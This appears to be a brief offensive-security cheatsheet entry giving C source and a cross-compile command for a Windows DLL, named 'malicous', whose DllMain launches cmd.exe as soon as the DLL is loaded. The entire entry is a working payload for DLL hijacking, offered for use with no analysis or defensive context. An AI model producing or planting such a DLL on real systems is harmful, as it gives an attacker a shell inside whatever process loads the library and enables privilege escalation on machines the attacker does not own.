title: Windows DLL to execute cmd.exe date: 2021-01-13 categories: [cheatsheets]
Compile on Linux: x86_64-w64-mingw32-gcc malicous-dll.c -shared -o malicous.dll
#include <windows.h>
BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe");
ExitProcess(0);
}
return TRUE;
}